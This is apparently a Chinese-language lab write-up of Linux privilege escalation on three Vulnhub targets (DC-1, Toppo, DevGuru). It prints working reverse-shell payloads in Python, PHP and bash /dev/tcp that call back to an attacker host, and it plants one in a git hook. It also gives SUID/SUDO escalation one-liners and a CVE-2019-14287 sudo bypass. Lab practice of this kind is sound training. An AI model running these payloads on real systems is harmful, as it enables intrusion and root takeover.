Linux提权——SUID&SUDO(Vulnhub靶机)
#简述
1、SUID提权
SUID是Linux中的一中特殊权限,SUID可以让二进制程序的调用者以文件拥有者的身份运行该文件。如果对于一些特殊命令设置了SUID,那么就会有被提权的风险。而这个SUID提权的关键就是,找到root用户所拥有的SUID的文件&命令,运行该文件或者调用命令时,暂时拥有root权限,以root身份来执行。
2、SUDO提权
SUDO是Linux下常用允许普通用户使用root用户权限的工具命令,允许超级管理员让普通用户执行一些或者全部root命令。SUDO能够限制用户只在某台主机上运行某些命令。SUDO的配置文件是 /etc/sudoers,用于配置 sudo 命令的权限,也可以使用** sudo -l **命令检查文件配置。
#打靶过程
1、DC-1
靶机:192.168.230.220
攻击机(Kali):192.168.230.128
1、前期信息收集,使用nmap对** 192.168.230.0/24** 进行扫描
2、扫描得到的靶机IP为 192.168.230.220,开放的端口为 22 、80、111,浏览器直接访问80端口
访问页面最底部有英文 Powered by Drupal,Drupal是一个CMS,曾经爆出过漏洞。
3、打开MSF,搜索对应的EXP
4、选择18年的exp,配置好相应的参数后,run
成功获取到 meterpreter,不过此时的用户为 www-data,权限很低,需要进一步提权。
5、进入交互式shell后,执行命令:find / -perm -u=s -type f 2>/dev/null
这条命令是用于查找具有SUID权限的文件
可以看到结果有十多个拥有SUID权限的文件
6、除了这条命令,还可以使用** Linpeas.sh** 文件进行扫描,也可以得到拥有SUID权限的文件对应的结果。
攻击机开启http服务,靶机wget得到 linpeas.sh 文件
7、执行结果如下,标橙色的优先选择
为什么 find 命令会被标记优先选择呢?
这是因为 find 命令存在一个参数 -exec 用于在找到匹配文件后执行指定的命令,由于这里的 /usr/bin/find 有用SUID权限,即意味着其他用户调用find命令时会以root用户来执行。
8、https://gtfobins.github.io/
我们通过这个网站来搜寻对应命令文件的SUID提权使用方法
9、执行上图的命令,直接以root身份打开了一个shell,拥有了root的权限
同时也成功获取flag文件
2、Toppo
靶机:192.168.230.221
攻击机:192.168.230.128
1、同样信息收集,nmap扫C段,得到靶机的具体IP为 192.168.230.221
同时知道靶机开放的端口有 22、80、111
2、浏览器访问80端口,从页面来看是一个博客站点
3、使用dirsearch工具扫描目录,结果如下所示:
4、访问 /admin 路径,发现存在目录遍历,其中有个 notes.txt 文件
5、打开 notes.txt 文件,内容如下所示:
Note to myself
I need to change my password :12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer.
可以从中得到一串密码为:12345ted123
6、推断使用ssh进行登录:ssh ted@192.168.230.221
成功登录!此时用户为ted,需要进一步提权得到root权限
7、同样使用命令:find / -perm -u=s -type f 2>/dev/null
了解拥有SUID的文件
8、从列举的文件来看,这个 /usr/bin/python2.7 是个值得注意的点,因为借助python可以执行脚本、反弹shell……
9、https://gtfobins.github.io/
同样借助这个网站搜索python的SUID提权命令
./python -c import os;os.execl("/bin/sh","sh","-p")'
10、我在打靶没按照上述命令,而是尝试了反弹shell
Kali监听5555端口:nc -lvnp 5555
靶机payload:/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.230.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
成功反弹shell
11、此时身份为root,拥有root权限,可直接访问到root目录下的flag.txt文件
12、这个靶机除了使用SUID提权方法,还能使用SUDO提权。
浏览sudo的配置文件 /etc/sudoers
这里的意思是:ted用户可以以任何用户身份在任何主机上无需密码执行 /usr/bin/awk 命令
13、我们再去搜索一下awk的SUDO提权的使用
关于awk:awk 是一种强大的文本处理工具,通常用于从文本文件中提取和处理数据。它是一种编程语言,具有灵活的语法和丰富的内置函数,可以轻松地进行文本处理、数据提取、格式化输出等操作。
14、payload:/usr/bin/awk 'BEGIN {system("/bin/sh")}'
同样成功提权到root,拿到flag
3、DevGuru(重难点)
靶机:192.168.230.222
攻击机:192.168.230.128
1、老样子,了解到靶机的IP:192.168.230.222,使用nmap对其进行扫描
结果显示靶机开放了 22、80 端口
2、浏览器访问 80 端口,页面如下所示:(看样子是模拟一个公司的官网)
3、使用dirsearch工具对其进行目录扫描
得到一个重要的路径 /.git,因此思路往git源码泄露这方面靠拢
4、相关工具:https://github.com/lijiejie/GitHack
使用GitHack脚本工具对目标** http://192.168.230.222/.git** 获取网站源码
5、源码文件如下所示:
6、在 config 目录下,找到数据库文件 database.php ,发现了数据库的账号和密码
7、从刚才目录扫描的结果也得到 /adminer.php 路径,访问的页面是一个数据库后台
8、尝试利用刚才发现的账号密码登录
成功登入数据库后台
9、在 backend_users 表中发现一个名为 Frank 的用户,其中包括登录名、加密后的密码、权限id……
10、根据Chat-GPT的回答,这段密码的加密方式是BCrypt
11、新创一个用户,
通过Bcrypt加密网站:https://bcrypt-generator.com/
随便加密一段数字作为密码(以123456为例)
创建成功
is_superuser与Frank保持一致,设置为1
12、访问路径** /backend/backend/auth/signin**,这是这个网站的后台
12、使用刚新创建的账号密码登录
成功进入后台
13、搜索过这个October CMS,存在过CVE漏洞,其中包括RCE漏洞
14、选择左上角CMS模块,观察到访问/blog路由会触发onStart()方法。
我这里直接用Home路径** /** 反弹shell
function onStart(){
//nc监听5555端口
$s=fsockopen("192.168.230.128",5555);
$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}
15、直接访问 / 目录则出发 onStart方法,成功反弹shell到攻击机Kali上
16、目前的用户是 www-data,权限很低
17、在 /var/backups 目录下发现了一个备份文件:app.ini.bak
18、其中发现了另一个数据库用户 gitea,包括其密码
19、回到 /adminer.php ,使用gitea账号密码登录
20、发现用户Frank以及其加密后的密码
21、根据页面显示这是 pbkdf2 加密方式
22、这里硬把密码改成我们想要的密码,如改成 经过Bcrypt加密后的123456
23、补回之前的端口扫描,之前的端口没扫全=-=,忽略了一个8585端口,正好对应Gitee这个系统站点(吃个教训...)
24、登录frank的账户,密码为123456
25、成功进入后台
在 /frank/devguru-website/settings/hooks/git/update 的路径下,
增加一行:bash -c "exec bash -i >& /dev/tcp/192.168.230.128/5555 0>&1"
用于反弹shell
26、来到 README.md 随便敲几个空格保存后即可触发反弹shell命令
成功反弹!
27、当前的用户是frank,还是需要进一步提权
28、借助 linpeas.sh 提权辅助脚本对靶机进行扫描(攻击机开启http服务,靶机wget远程下载linpeas.sh)
29、在扫描得到的结果发现 /usr/bin/sqlite3 ,用户 frank 在主机 devguru 上可以以任何用户(除了 root 用户)的身份执行 /usr/bin/sqlite3 命令,并且无需输入密码,因此可以尝试SUDO提权
30、查找对应的命令
31、这里又遇到一个坑,后来看了wp才知道这里存在sudo的版本问题(低于1.8.28),需要权限绕过(CVE-2019-14287)
具体文章参考:https://blog.csdn.net/chest_/article/details/102716802
32、执行命令:sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
sudo -u 也可以通过指定 UID 的方式来代替用户,当指定的 UID 为** -1** 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞,绕过上面的限制并以 root 身份执行命令
成功获取到root权限,得到root-flag!
总结:
1、总体思路:web权限 -> 计算机用户权限 -> 超管权限(root)
2、感觉这个靶机考点很多,个人前期的信息收集不是很充分,思路很容易被卡住
3、也是借助这个靶机学习SUDO提权的方式;结合数据库的信息拿下web权限
还有一点很关键,October CMS给的是web权限,用户为www-data;而gitee这系统则分配的是frank用户权限。通过两者对比之后,发现从frank用户具备条件(也是能利用sudo提权)能够进一步提权到root。
4、还了解到了关于 sudo 命令的权限绕过问题(CVE-2019-14287)